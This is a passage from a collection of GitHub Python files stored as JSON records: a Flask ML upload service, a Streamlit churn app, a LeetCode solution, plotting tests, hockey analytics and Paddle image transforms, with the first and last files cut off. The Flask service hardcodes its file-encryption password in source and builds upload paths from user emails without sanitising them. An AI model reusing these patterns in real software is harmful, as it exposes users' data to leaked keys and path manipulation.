dictionary\n    print(d[choice])\n    #print the linked probabilities\n    decision=float(input('which outcome do you want'))\n    #which one of these linked probabilities do you want\n\nlinked_to_choice=float(input('how many of the intial probabilities lead to the same outcome?'))\n\n    \ncounter=0\ndenominator=[]\nwhile linked_to_choice>0:\n    if linked_to_choice:\n        pass\n    counter+=1\n    second_A=float(input('what is the probability of the initial event?'))#probability of the first event\n    if second_A in d:\n        print(d[second_A])\n        second_decision=float(input('which outcome do you want?'))\n    denominator.append(second_A*second_decision)\n    if counter==linked_to_choice:\n        break\nfinal_denominator=sum(denominator)\ntrue_denominator=float(final_denominator)\n        \n\nP21=(decision)\nP1=(choice)\nprint((P21*P1)/(true_denominator))\n\n    \n\n\n\n\n\n\n\n\n","repo_name":"chimmichanga/calculators","sub_path":"bayes.py","file_name":"bayes.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"73206787632","text":"import os\nimport json\nfrom flask import Flask, session, request, send_file, render_template\nfrom flask_cors import CORS, cross_origin\nfrom db.auth import signIn\nfrom db import registerUser\n\nfrom ml import linear_regression\nfrom werkzeug.utils import secure_filename\n\nimport pyAesCrypt\n\nfrom os import stat\n\nbufferSize = 64 * 1024\npassword = \"q3t6w9z_C\"\n\n\ndef decrypt_file(aes_filepath, csv_filepath):\n    try:\n        pyAesCrypt.decryptFile(aes_filepath, csv_filepath, password, bufferSize)\n        return True\n    except:\n        return False\n\n\ndef encrypt_file(csv_filepath, aes_filepath):\n    try:\n        pyAesCrypt.encryptFile(csv_filepath, aes_filepath, password, bufferSize)\n        return True\n    except:\n        return False\n\n\nUPLOADS_FOLDER = \"uploads\"\n\napp = Flask(__name__)\ncors = CORS(app)\n\napp.secret_key = os.environ[\"SECRET_KEY\"]\napp.config[\"UPLOAD_FOLDER\"] = UPLOADS_FOLDER\n\nif not os.path.isdir(\"uploads\"):\n    os.mkdir(\"uploads\")\n\n\n@app.route(\"/\")\ndef hello_world():\n    return render_template(\"index.html\")\n\n\n@app.route(\"/auth/sign-in\", methods=[\"POST\"])\ndef signInAPI():\n    if request.method == \"POST\":\n\n        email = request.form[\"email\"]\n        password = request.form[\"password\"]\n\n        res = signIn(email, password)\n\n        if not res:\n            return json.dumps({\"state\": \"invalid\"})\n        res[\"state\"] = \"valid\"\n        return json.dumps(res)\n\n    else:\n        return render_template(\"status/400.html\"), 400\n\n\n@app.route(\"/auth/register\", methods=[\"POST\"])\ndef registerAPI():\n    if request.method == \"POST\":\n\n        user = {\n            \"name\": request.form[\"name\"],\n            \"email\": request.form[\"email\"],\n            \"password\": request.form[\"password\"],\n        }\n\n        return json.dumps(registerUser(user))\n\n    else:\n        return render_template(\"status/400.html\"), 400\n\n\n@app.route(\"/auth/session\", methods=[\"GET\"])\ndef get_session():\n    if \"user\" in session:\n        return json.dumps(session[\"user\"])\n    return json.dumps({\"status\": \"unauthenticated\"})\n\n\n@app.route(\"/auth/logout\", methods=[\"GET\", \"POST\"])\ndef logout():\n    session.pop(\"user\", None)\n    return json.dumps({\"status\": \"invalid\"})\n\n\n@app.route(\"/data/upload\", methods=[\"GET\", \"POST\"])\ndef handleFileUpload():\n    if \"user\" in session:\n        email = session[\"user\"][\"email\"]\n        localpath = \"{}/{}\".format(UPLOADS_FOLDER, email)\n        # check directory\n        if not os.path.isdir(localpath):\n            os.mkdir(localpath)\n\n        if \"file\" not in request.files:\n            return json.dumps({\"status\": \"error\"})\n\n        file = request.files[\"file\"]\n\n        aes_filepath = \"{}/dataset.csv.aes\".format(localpath)\n        csv_filepath = \"{}/dataset.csv\".format(localpath)\n\n        file.save(aes_filepath)\n\n        if decrypt_file(aes_filepath, csv_filepath):\n            os.remove(aes_filepath)\n            return json.dumps({\"status\": \"uploaded\"})\n        else:\n            os.remove(aes_filepath)\n            return json.dumps({\"status\": \"decrypt-error\"})\n    else:\n        return json.dumps({\"status\": \"unauthenticated\"})\n\n\n@app.route(\"/data/dataset.csv\", methods=[\"GET\"])\ndef get_dataset():\n    if \"user\" in session:\n        email = session[\"user\"][\"email\"]\n        filepath = \"{}/{}/dataset.csv\".format(UPLOADS_FOLDER, email)\n        if os.path.isfile(filepath):\n            return send_file(filepath, mimetype=\"text/csv\")\n        else:\n            return json.dumps({\"status\": \"error\"})\n    else:\n        return json.dumps({\"status\": \"unauthorized\"})\n\n\n@app.route(\"/ml/train\", methods=[\"GET\"])\ndef train_model():\n    if \"user\" in session:\n        email = session[\"user\"][\"email\"]\n        folderpath = \"{}/{}\".format(UPLOADS_FOLDER, email)\n        csv_path = folderpath + \"/dataset.csv\"\n        output_path = folderpath + \"/output.csv\"\n        aes_path = folderpath + \"/output.csv.aes\"\n        if os.path.isfile(csv_path):\n            is_success = linear_regression(email)\n            encrypt_file(output_path, aes_path)\n            return (\n                json.dumps({\"status\": \"complete\"})\n                if is_success\n                else json.dumps({\"status\": \"error\"})\n            )\n        else:\n            return json.dumps({\"status\": \"no_files\"})\n    else:\n        return json.dumps({\"status\": \"unauthorized\"})\n\n\n@app.route(\"/ml/output.csv.aes\", methods=[\"GET\"])\ndef get_output_aes():\n    if \"user\" in session:\n        email = session[\"user\"][\"email\"]\n        filepath = \"{}/{}/output.csv.aes\".format(UPLOADS_FOLDER, email)\n        if os.path.isfile(filepath):\n            return send_file(filepath, mimetype=\"application/octet-stream\")\n        else:\n            return json.dumps({\"status\": \"error\"})\n    else:\n        return json.dumps({\"status\": \"unauthorized\"})\n\n\n@app.route(\"/ml/output.csv\", methods=[\"GET\"])\ndef get_output_csv():\n    if \"user\" in session:\n        email = session[\"user\"][\"email\"]\n        filepath = \"{}/{}/output.csv\".format(UPLOADS_FOLDER, email)\n        if os.path.isfile(filepath):\n            return send_file(filepath, mimetype=\"application/octet-stream\")\n        else:\n            return json.dumps({\"status\": \"error\"})\n    else:\n        return json.dumps({\"status\": \"unauthorized\"})\n","repo_name":"vaibhavshn/anypredict","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"1527689491","text":"# Import Packages\nimport os\nimport json\nimport requests\nfrom dotenv import load_dotenv\nfrom pathlib import Path\n\n# Data\nimport numpy as np\nimport pandas as pd\n\n# Visualizations\nimport streamlit as st\nimport plotly.express as px\nimport plotly.graph_objects as go\nimport plotly.express as px\n\n#-----------APP CONFIG---------------#\nAPP_NAME = 'Churn Prediction App'\nst.set_page_config(page_title=APP_NAME,\n                   page_icon=':bar_chart:', \n                   layout='wide') #responsive layout\nst.title(APP_NAME)\nst.markdown(\n    '''\n    This app predicts whether a given customer is a Churn Customer \n    or a Staying Customer along with other actionable insights\n    '''\n)\ncache_path = Path('./Data/cache/__df__.csv')\n\n#-----------Hide Styles---------------#\nunwanted_styles = \"\"\" \n<style>\n/*Top Right Hamburger icon */\n#MainMenu {visibility: hidden;}\n/* Header */\nheader {visibility: hidden;}\n/* Footer */\nfooter {visibility: hidden;}\n</style>\n\"\"\"\nst.markdown(unwanted_styles, unsafe_allow_html=True)\n\n#------------Mapbox API--------------#\n\n# Read the Mapbox API key\nload_dotenv()\nmap_box_api = os.getenv(\"mapbox\")\n\n# Set the mapbox access token\npx.set_mapbox_access_token(map_box_api)\n\n#------------Sessions--------------#\n\n# APP State\nif 'state' not in st.session_state:\n    st.session_state['state'] = 'begin'\n\n# Upload State\nif 'upload' not in st.session_state:\n    st.session_state['upload'] = False\n\n#------------Helper Functions--------------#\n\n# Save Data with predictions\ndef save_data(df):\n    open(cache_path, 'w').write(df.to_csv(index=False))\n\n# Load Data with predictions\ndef load_data():\n    return pd.read_csv(cache_path, \n                    encoding='UTF-8',\n                    index_col=False)\n\n#------------Plot Functions--------------#\n\n# Customer Location Map \ndef churn_map(df):\n    churn_map = px.scatter_mapbox(\n            df,\n            lat='lat',\n            lon='long',\n            color='prediction',\n            size='monthly_charges',\n            color_continuous_scale=px.colors.sequential.Rainbow,\n            size_max=25,\n            zoom=8)\n\n    churn_map.update_traces(marker=dict(size=np.where(df['prediction'] == 'Churn Customer', 25, 8)),\n                                    selector=dict(mode='markers'))\n\n    st.plotly_chart(churn_map, use_container_width=True)\n\n# Customer Insights\ndef customer_analytics(df):\n    col1, col2, col3 = st.columns(3)\n    contract_details = df['contract'].value_counts()\n    internet_details = df['internet_service'].value_counts()\n    payment_details = df['payment_method'].value_counts()\n\n    with col1:\n        labels = contract_details.index.tolist()\n        values = contract_details.values.tolist()\n        fig = go.Figure(data=[go.Pie(labels=labels, values=values, hole=.5)])\n        fig.update_layout(title_text=\"<b>Contract Type</b>\")\n        st.plotly_chart(fig, use_container_width=True)\n    with col2:\n        labels = internet_details.index.tolist()\n        values = internet_details.values.tolist()\n        fig = go.Figure(data=[go.Pie(labels=labels, values=values, hole=.5)])\n        fig.update_layout(title_text=\"<b>Internet Service</b>\")\n        st.plotly_chart(fig, use_container_width=True)\n    with col3:\n        labels = payment_details.index.tolist()\n        values = payment_details.values.tolist()\n        fig = go.Figure(data=[go.Pie(labels=labels, values=values, hole=.5)])\n        fig.update_layout(title_text=\"<b>Payment Method</b>\")\n        st.plotly_chart(fig, use_container_width=True)\n\n#----------SIDEBAR----------------#\n\n# Sidebar Header\nst.sidebar.header('Upload your EXCEL / CSV data')\n\n# Loading Dataset Module\nupload_data = st.sidebar.file_uploader(\"Upload your customers data here..\", type=['csv', 'xlsx'])\n\nif upload_data is not None:\n    st.session_state['upload'] = True\nelse:\n    st.session_state['upload'] = False\n\n\nif st.session_state['upload']:\n\n    # Custom Header\n    st.subheader('Customer Data')\n\n    # Get Uploaded Data as a DataFrame\n    def get_data():\n        if st.session_state['state'] == 'begin':\n            if upload_data is not None:\n                # Read the dataset\n                ext = upload_data.name.rsplit('.', 1)[1]\n                if ext == 'csv':\n                    df = pd.read_csv(upload_data, \n                                        encoding='UTF-8',\n                                        index_col=False)\n                elif ext == 'xlsx':\n                    df = pd.read_excel(upload_data,\n                                        sheet_name=0,\n                                        index_col=False)\n                else:\n                    return None\n\n                if (df is not None):\n                    if not df.empty:\n                        st.caption(f\"Rows: {df.shape[0]} | Columns: {df.shape[1]}\")\n                        st.info('Your Dataset is Uploaded. Hit Predict!')\n                        return df\n                    else:\n                        st.info('Your Dataset is empty, please check if you have data in the file before uploading!')\n                        return None\n                else:\n                    st.info('Your Dataset has a problem, please check before uploading!')\n                    return None\n            else:\n                st.info('Upload your CSV / Excel file from the sidebar section')\n                return None\n        \n        else:\n            # If prediction is already made then load the Dataset with prediction\n            return load_data()\n\n    # Load the data\n    telco_df = get_data()\n\n    #-----------BODY---------------#\n\n    # Machine Learning Prediction through API\n    if st.session_state['state'] == 'begin':\n        if st.button(\"Predict\"):\n            # Checking if the data is available\n            if upload_data is not None:\n                # Chage the session state to predict\n                st.session_state['state'] = 'predict'\n                # Loading Bar Begin\n                my_bar = st.progress(0)\n                \n                predictions = []\n                for i in range(telco_df.shape[0]):\n                    data = telco_df[['city',\n                                'gender',\n                                'senior_citizen',\n                                'partner',\n                                'dependents',\n                                'phone_service',\n                                'multiple_lines',\n                                'internet_service',\n                                'online_security',\n                                'online_backup',\n                                'device_protection',\n                                'tech_support',\n                                'streaming_tv',\n                                'streaming_movies',\n                                'contract',\n                                'paperless_billing',\n                                'payment_method',\n                                'monthly_charges',\n                                'total_charges',\n                                'tenure',\n                                'lat',\n                                'long',\n                                'zip']][i:i+1].to_json(orient='records')\n                    \n                    # Request a prediction from the API for a customer\n                    res = requests.post(\n                        \"http://ec2-3-25-148-140.ap-southeast-2.compute.amazonaws.com:8000/predict/\", # AWS End Point\n                        json=json.loads(data[1:-1])) # Pass Customer Data in JSON format\n                    # Read the Response as a JSON Format\n                    prediction = json.loads(res.text)\n                    # Store each prediction in a list\n                    predictions.append(prediction['prediction'][0])\n                    # Loading Bar\n                    my_bar.progress(i+1)\n\n                # Convert predictions to a DataFrame\n                prediction_df = pd.DataFrame({'prediction' : predictions})\n                # Append it to loaded dataset\n                telco_df = pd.concat([prediction_df, telco_df], axis=1)\n                # Save the dataset\n                save_data(telco_df)\n\n    # If the data is already predicted\n    if st.session_state['state'] == 'predict':\n\n        # Select Churn\n        churn = st.sidebar.multiselect(\n            \"Churn\",\n            options=telco_df['prediction'].unique(),\n            default=telco_df['prediction'].unique()\n        )\n        \n        # Select Gender\n        gender = st.sidebar.multiselect(\n            \"Gender\",\n            options=telco_df['gender'].unique(),\n            default=telco_df['gender'].unique()\n        )\n\n        # Select Contract\n        contract = st.sidebar.multiselect(\n            \"Contract\",\n            options=telco_df['contract'].unique(),\n            default=telco_df['contract'].unique()\n        )\n\n        # Select Internet Service\n        internet_service = st.sidebar.multiselect(\n            \"Internet Service\",\n            options=telco_df['internet_service'].unique(),\n            default=telco_df['internet_service'].unique()\n        )\n\n        # Select Payment Method\n        payment_method = st.sidebar.multiselect(\n            \"Payment Method\",\n            options=telco_df['payment_method'].unique(),\n            default=telco_df['payment_method'].unique()\n        )\n\n        # Select City\n        city = st.sidebar.multiselect(\n            \"City\",\n            options=telco_df['city'].unique(),\n            default=telco_df['city'].unique()\n        )\n\n        # Filtering Data\n        telco_df_query = telco_df.query(\n            '''\n            gender == @gender & \\\n            prediction == @churn & \\\n            contract == @contract & \\\n            internet_service == @internet_service & \\\n            payment_method == @payment_method & \\\n            city == @city\n            '''\n        )\n\n        # Query out based on the filters\n        telco_df = telco_df_query.reset_index(drop=True)\n        st.dataframe(telco_df)\n        st.caption(f\"Rows: {telco_df.shape[0]} | Columns: {telco_df.shape[1]}\")\n\n        # Customers Location MAP\n        st.subheader('Churn Map')\n        churn_map(telco_df)\n\n        # Customer Analytics\n        st.subheader('Customer Analytics')\n        customer_analytics(telco_df)\n\nelse:\n    # Check if the cache data is available and remove before restart\n    try:\n        if cache_path.is_file():\n            os.remove(cache_path)\n    except OSError as e:\n        print(f\"Error log: {e.filename} : {e.strerror}\")\n\n    # Reset the session\n    st.session_state['state'] = 'begin'\n    # Upload notification to begin\n    st.info('Upload your CSV / Excel file from the sidebar section')","repo_name":"chirathlv/Churn-Prediction-App","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10672,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"6531923455","text":"# Definition for a binary tree node.\nclass TreeNode:\n    def __init__(self, val=0, left=None, right=None):\n        self.val = val\n        self.left = left\n        self.right = right\n        \nclass FindElements:\n\n    def __init__(self, root: TreeNode):\n        self.contains = {}\n\n        if root != [] :\n            root.val = 0\n        \n        self.fill( root )\n\n    def fill( self, root ) :\n\n        self.contains[ root.val ] = 1\n\n        if root.left != None :\n            root.left.val = 2 * root.val + 1\n            self.fill( root.left )\n\n        if root.right != None :\n            root.right.val = 2 * root.val + 2\n            self.fill( root.right )\n\n    def find(self, target: int) -> bool:\n\n        if target in self.contains : return True\n        else : return False\n        \n# Your FindElements object will be instantiated and called as such:\n# obj = FindElements(root)\n# param_1 = obj.find(target)\n###################################################################\nTree = TreeNode( -1 )\nTree.left = TreeNode( -1 )\nTree.right = TreeNode( -1 )\nTree.left.left = TreeNode( -1 )\nTree.left.right = TreeNode( -1 )\nTree.right.left = TreeNode( -1 )\nTree.right.right = TreeNode( -1 )\n\nFindElements_ = FindElements( Tree )\n\nnums = [ 1, 5, 8 ]\n\nprint( f'Finding {nums} : {[FindElements_.find( num ) for num in nums ]}' )\n\n# Beats 47.46% Runtime, 96ms\n# Beats 32.63% Memory, 20.3mb","repo_name":"Eli-Ferguson/GitHubCode","sub_path":"LeetCode/Medium/Question_1261/Question_1261.py","file_name":"Question_1261.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"11883839852","text":"import pytplot\nimport os\nimport numpy as np\n\ncurrent_directory = os.path.dirname(os.path.realpath(__file__))\n\ndef test_map_plot():\n    pytplot.netcdf_to_tplot(current_directory + \"/testfiles/g15_xrs_2s_20170619_20170619.nc\", time='time_tag')\n\n    pytplot.store_data('lat', data={'x': pytplot.data_quants['A_COUNT'].coords['time'].values, 'y': np.arange(0, 90, step=(90 / len(pytplot.data_quants['A_COUNT'].coords['time'].values)))})\n    pytplot.link('A_COUNT', 'lat', link_type='lat')\n    pytplot.store_data('lon', data={'x': pytplot.data_quants['A_COUNT'].coords['time'].values, 'y': np.arange(0, 360,step=(360 / len(pytplot.data_quants['A_COUNT'].coords['time'].values)))})\n    pytplot.link('A_COUNT', 'lon', link_type='lon')\n    pytplot.xlim('2017-06-19 02:00:00', '2017-06-19 04:00:00')\n    pytplot.ylim(\"A_COUNT\", 17000, 18000)\n    pytplot.timebar('2017-06-19 03:00:00', \"A_COUNT\", color=(100, 255, 0), thick=3)\n    pytplot.timebar('2017-06-19 03:30:00', \"A_COUNT\", color='g')\n    pytplot.options(\"A_COUNT\", 'map', 1)\n    pytplot.tplot(2, testing=True)\n    pytplot.tplot(2, testing=True, bokeh=True)","repo_name":"MAVENSDC/PyTplot","sub_path":"tests/test_maps.py","file_name":"test_maps.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"38"}
{"seq_id":"24190799677","text":"from flask import Flask\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello_world():\n    return \"<p>Hello, World!</p>\"\n    \ndef run():\n    while True:\n        try:\n            app.run()\n        except Exception as ex:\n            print(ex)","repo_name":"VladimirChabanov/examples","sub_path":"pytelegrambotapi_and_flask [python]/flask_app.py","file_name":"flask_app.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29536074557","text":"players = ['Matt Niskanen', 'Karl Alzner', 'John Carlson', 'Brooks Orpik', 'Dmitry Orlov', 'Nate Schmidt']\nteam = 'WSH'\nstartseason = 2015\nendseason = 2016\nyaxis = 'F QoC Bin'\nxaxis = 'F QoT Bin'\n\nimport PbPMethods2 as pm2\nfrom pylab import *\nget_ipython().magic('matplotlib inline')\nimport pandas as pd\nimport seaborn\n\ndfs = []\nfor season in range(startseason, endseason + 1):\n    dfs.append(pd.read_csv(pm2.get_gamebygame_data_filename(season)))\ndfs = pd.concat(dfs)\n\ngrouped = dfs[['Season', 'Player', 'Team', 'TOION(60s)', 'TOIOFF(60s)']].groupby(['Season', 'Player', 'Team']).sum()\ngrouped['TOI60'] = 60 * grouped['TOION(60s)'] / (grouped['TOION(60s)'] + grouped['TOIOFF(60s)'])\ngrouped.reset_index(inplace=True)\ntoi60 = {}\nfor i in range(len(grouped)):\n    s = grouped['Season'].iloc[i]\n    t = grouped['Team'].iloc[i]\n    p = grouped['Player'].iloc[i]\n    toi = grouped['TOI60'].iloc[i]\n    if s not in toi60:\n        toi60[s] = {}\n    if t not in toi60[s]:\n        toi60[s][t] = {}\n    toi60[s][t][p] = toi\n\ncfbinneddct = {}\nfor i in range(len(players)):\n    player = players[i]\n    fopp = []\n    fteam = []\n    dopp = []\n    dteam = []\n    cf = []\n    ca = []\n    for season in range(startseason, endseason + 1):\n        for line in pm2.read_team_corsi(team, season):\n            if player in pm2.get_home_players(line):\n                opponent = line[1][-3:]\n                temp = []\n                for p in pm2.get_home_players(line, ['F']):\n                    if not p == player:\n                        temp.append(toi60[season][team][p])\n                if len(temp) == 0:\n                    temp.append(0)\n                fteam.append(mean(temp))\n\n                temp = []\n                for p in pm2.get_home_players(line, ['D']):\n                    if not p == player:\n                        temp.append(toi60[season][team][p])\n                if len(temp) == 0:\n                    temp.append(0)\n                dteam.append(mean(temp))\n\n                temp = []\n                for p in pm2.get_road_players(line, ['F']):\n                    if not p == player:\n                        temp.append(toi60[season][opponent][p])\n                if len(temp) == 0:\n                    temp.append(0)\n                fopp.append(mean(temp))\n\n                temp = []\n                for p in pm2.get_road_players(line, ['D']):\n                    if not p == player:\n                        temp.append(toi60[season][opponent][p])\n                if len(temp) == 0:\n                    temp.append(0)\n                dopp.append(mean(temp))\n\n                if pm2.get_acting_team(line) == team:\n                    cf.append(1)\n                    ca.append(0)\n                else:\n                    cf.append(0)\n                    ca.append(1)\n        print('Done with CF for', season, player)\n    oppteamcfdf = pd.DataFrame({'F QoC': fopp, 'D QoC': dopp, 'F QoT': fteam, 'D QoT': dteam, 'CF': cf, 'CA': ca})\n    oppteamcfdf['F QoC Bin'] = oppteamcfdf['F QoC'].apply(lambda x: floor(x) + 0.5)\n    oppteamcfdf['D QoC Bin'] = oppteamcfdf['D QoC'].apply(lambda x: floor(x) + 0.5)\n    oppteamcfdf['F QoT Bin'] = oppteamcfdf['F QoT'].apply(lambda x: floor(x) + 0.5)\n    oppteamcfdf['D QoT Bin'] = oppteamcfdf['D QoT'].apply(lambda x: floor(x) + 0.5)\n    \n    cfbinned = oppteamcfdf[[xaxis, yaxis, 'CF', 'CA']].groupby([xaxis, yaxis]).sum()\n    cfbinned.reset_index(inplace=True)\n    cfbinned['CFN'] = cfbinned['CF'] + cfbinned['CA']\n    cfbinned['CF%'] = cfbinned['CF'] / cfbinned['CFN']\n    cfbinned = cfbinned.sort_values(by='CFN', ascending=False)\n    cfbinneddct[player] = cfbinned\n\nfig, axes = subplots(3, 2, sharex=True, sharey=True)\nfig.set_size_inches(10, 10)\nendseason2 = str(endseason + 1)[2:]\nfor i in range(len(players)):\n    row = i // 2\n    col = i % 2\n    ax = axes[row, col]\n    cfbinned = cfbinneddct[players[i]]\n    ax.scatter(cfbinned[xaxis], cfbinned[yaxis], s=cfbinned['CFN'], c=cfbinned['CF%'], \n            cmap=plt.cm.PRGn, vmin = 0.3, vmax = 0.7)\n\n    ax.annotate('N={0:d}'.format(cfbinned['CFN'].iloc[0]), \n             xy=(cfbinned[xaxis].iloc[0], cfbinned[yaxis].iloc[0]),\n             va = 'center', ha = 'center', size = 8)\n    cfbinnedhalved = cfbinned[cfbinned.CFN < cfbinned['CFN'].iloc[0] / 2]\n    ax.annotate('N={0:d}'.format(cfbinnedhalved['CFN'].iloc[0]), \n             xy=(cfbinnedhalved[xaxis].iloc[0], cfbinnedhalved[yaxis].iloc[0]),\n             va = 'center', ha = 'center', size = 8)\n\n    #cbar = ax.colorbar(orientation='vertical', fraction=0.05)\n    #cbar.set_label('CF%')\n    #cbar.ax.set_yticklabels(['{0:d}%'.format(int(float(x.get_text()) * 100)) for x in cbar.ax.get_yticklabels()])\n    if row == 2:\n        ax.set_xlabel(xaxis)\n    if col == 0:\n        ax.set_ylabel(yaxis)\n    ax.set_title('{0:s}'.format(players[i]))\nfig.subplots_adjust(right=0.8)\nsm = plt.cm.ScalarMappable(cmap=plt.cm.PRGn, norm=plt.Normalize(vmin=0.3, vmax=0.7))\nsm._A = []\n\ncbar_ax = fig.add_axes([0.85, 0.15, 0.05, 0.7])\ncbar = fig.colorbar(sm, cax=cbar_ax)\ncbar.set_label('CF%')\ncbar.ax.set_yticklabels(['{0:d}%'.format(int(float(x.get_text()) * 100)) for x in cbar.ax.get_yticklabels()])\nfig.suptitle('CF% by {0:s} and {1:s} ({2:d}-{3:s})'.format(xaxis, yaxis, startseason, endseason2), size = 20)\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/CF% by QoT and QoC Grid.py","file_name":"CF% by QoT and QoC Grid.py","file_ext":"py","file_size_in_byte":5253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"22651950207","text":"from __future__ import division\n\nimport math\nimport numbers\n\nimport paddle\nimport paddle.nn.functional as F\nimport tensorlayerx as tlx\nimport sys\nimport collections\n\n__all__ = [\"resize\",\"pad\",\"hflip\",\"vflip\",\"crop\",\"normalize\",\"to_grayscale\"]\n\ndef _assert_image_tensor(img, data_format):\n    if not isinstance(\n            img, paddle.Tensor\n    ) or img.ndim < 3 or img.ndim > 4 or not data_format.lower() in ('chw',\n                                                                     'hwc'):\n        raise RuntimeError(\n            'not support [type={}, ndim={}, data_format={}] paddle image'.\n            format(type(img), img.ndim, data_format))\n\n\ndef _get_image_h_axis(data_format):\n    if data_format.lower() == 'chw':\n        return -2\n    elif data_format.lower() == 'hwc':\n        return -3\n\n\ndef _get_image_w_axis(data_format):\n    if data_format.lower() == 'chw':\n        return -1\n    elif data_format.lower() == 'hwc':\n        return -2\n\ndef _get_image_c_axis(data_format):\n    if data_format.lower() == 'chw':\n        return -3\n    elif data_format.lower() == 'hwc':\n        return -1\n\ndef _get_image_size(img, data_format):\n    return img.shape[_get_image_w_axis(data_format)], img.shape[\n        _get_image_h_axis(data_format)]\n    \n\ndef _is_channel_first(data_format):\n    return _get_image_c_axis(data_format) == -3\n\ndef resize(img, size, interpolation='bilinear', data_format='CHW'):\n    \"\"\"\n    Resizes the image to given size\n    Args:\n        input (paddle.Tensor): Image to be resized.\n        size (int|list|tuple): Target size of input data, with (height, width) shape.\n        interpolation (int|str, optional): Interpolation method. when use paddle backend, \n            support method are as following: \n            - \"nearest\"  \n            - \"bilinear\"\n            - \"bicubic\"\n            - \"trilinear\"\n            - \"area\"\n            - \"linear\"\n        data_format (str, optional): paddle.Tensor format\n            - 'CHW'\n            - 'HWC'\n    Returns:\n        paddle.Tensor: Resized image.\n    \"\"\"\n    _assert_image_tensor(img, data_format)\n\n    if not (isinstance(size, int) or\n            (isinstance(size, (tuple, list)) and len(size) == 2)):\n        raise TypeError('Got inappropriate size arg: {}'.format(size))\n\n    if isinstance(size, int):\n        w, h = _get_image_size(img, data_format)\n        if (w <= h and w == size) or (h <= w and h == size):\n            return img\n        if w < h:\n            ow = size\n            oh = int(size * h / w)\n        else:\n            oh = size\n            ow = int(size * w / h)\n    else:\n        oh, ow = size\n\n    img = img.unsqueeze(0)\n    # img = F.interpolate(img,\n    #                     size=(oh, ow),\n    #                     mode=interpolation.lower(),\n    #                     data_format='N' + data_format.upper())\n    img = tlx.ops.interpolate(img,\n                        size=(oh, ow),\n                        mode=interpolation.lower(),\n                        data_format='N' + data_format.upper())\n\n    return img.squeeze(0)\n\ndef pad(img, padding, fill=0, padding_mode='constant', data_format='CHW'):\n    \"\"\"\n    Pads the given paddle.Tensor on all sides with specified padding mode and fill value.\n    Args:\n        img (paddle.Tensor): Image to be padded.\n        padding (int|list|tuple): Padding on each border. If a single int is provided this\n            is used to pad all borders. If tuple of length 2 is provided this is the padding\n            on left/right and top/bottom respectively. If a tuple of length 4 is provided\n            this is the padding for the left, top, right and bottom borders\n            respectively.\n        fill (float, optional): Pixel fill value for constant fill. If a tuple of\n            length 3, it is used to fill R, G, B channels respectively.\n            This value is only used when the padding_mode is constant. Default: 0. \n        padding_mode: Type of padding. Should be: constant, edge, reflect or symmetric. Default: 'constant'.\n            - constant: pads with a constant value, this value is specified with fill\n            - edge: pads with the last value on the edge of the image\n            - reflect: pads with reflection of image (without repeating the last value on the edge)\n                       padding [1, 2, 3, 4] with 2 elements on both sides in reflect mode\n                       will result in [3, 2, 1, 2, 3, 4, 3, 2]\n            - symmetric: pads with reflection of image (repeating the last value on the edge)\n                         padding [1, 2, 3, 4] with 2 elements on both sides in symmetric mode\n                         will result in [2, 1, 1, 2, 3, 4, 4, 3]\n    Returns:\n        paddle.Tensor: Padded image.\n    \"\"\"\n    _assert_image_tensor(img, data_format)\n\n    if not isinstance(padding, (numbers.Number, list, tuple)):\n        raise TypeError('Got inappropriate padding arg')\n    if not isinstance(fill, (numbers.Number, str, list, tuple)):\n        raise TypeError('Got inappropriate fill arg')\n    if not isinstance(padding_mode, str):\n        raise TypeError('Got inappropriate padding_mode arg')\n\n    if isinstance(padding, (list, tuple)) and len(padding) not in [2, 4]:\n        raise ValueError(\n            \"Padding must be an int or a 2, or 4 element tuple, not a \" +\n            \"{} element tuple\".format(len(padding)))\n\n    assert padding_mode in ['constant', 'edge', 'reflect', 'symmetric'], \\\n        'Padding mode should be either constant, edge, reflect or symmetric'\n\n    if isinstance(padding, int):\n        pad_left = pad_right = pad_top = pad_bottom = padding\n    elif len(padding) == 2:\n        pad_left = pad_right = padding[0]\n        pad_top = pad_bottom = padding[1]\n    else:\n        pad_left = padding[0]\n        pad_top = padding[1]\n        pad_right = padding[2]\n        pad_bottom = padding[3]\n\n    padding = [pad_left, pad_right, pad_top, pad_bottom]\n\n    if padding_mode == 'edge':\n        padding_mode = 'replicate'\n    elif padding_mode == 'symmetric':\n        raise ValueError('Do not support symmetric mode')\n\n    img = img.unsqueeze(0)\n    #  'constant', 'reflect', 'replicate', 'circular'\n    img = F.pad(img,\n                pad=padding,\n                mode=padding_mode,\n                value=float(fill),\n                data_format='N' + data_format)\n\n    return img.squeeze(0)\n\ndef hflip(img, data_format='CHW'):\n    \"\"\"Horizontally flips the given paddle.Tensor Image.\n    Args:\n        img (paddle.Tensor): Image to be flipped.\n        data_format (str, optional): Data format of img, should be 'HWC' or \n            'CHW'. Default: 'CHW'.\n    Returns:\n        paddle.Tensor:  Horizontall flipped image.\n    \"\"\"\n    _assert_image_tensor(img, data_format)\n\n    w_axis = _get_image_w_axis(data_format)\n\n    return img.flip(axis=[w_axis])\n\n\ndef vflip(img, data_format='CHW'):\n    \"\"\"Vertically flips the given paddle tensor.\n    Args:\n        img (paddle.Tensor): Image to be flipped.\n        data_format (str, optional): Data format of img, should be 'HWC' or \n            'CHW'. Default: 'CHW'.\n    Returns:\n        paddle.Tensor:  Vertically flipped image.\n    \"\"\"\n    _assert_image_tensor(img, data_format)\n\n    h_axis = _get_image_h_axis(data_format)\n\n    return img.flip(axis=[h_axis])\n\n\ndef crop(img, top, left, height, width, data_format='CHW'):\n    \"\"\"Crops the given paddle.Tensor Image.\n    